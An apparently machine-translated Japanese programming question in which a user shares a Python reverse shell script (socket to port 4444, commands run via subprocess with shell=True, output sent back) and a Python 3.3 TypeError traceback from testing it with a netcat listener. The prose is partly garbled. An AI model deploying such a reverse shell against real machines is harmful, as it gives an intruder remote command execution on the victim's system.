私のシェルスクリプト:
#!/usr/bin/python
import subprocess, socket
HOST = 'localhost'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.close()
ポート 4444 でリッスンするために netcat を使用してnetcat
います。次に、このスクリプトを実行しますが、ipconfig
何かを入力するnetcat
と、シェルで次のエラーが発生します。
Traceback (most recent call last):
File "C:\Users\Myname\Documents\shell.py", line 16, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "C:\Python33\lib\subprocess.py", line 818, in __init__
restore_signals, start_new_session)
File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child
args = list2cmdline(args)
File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable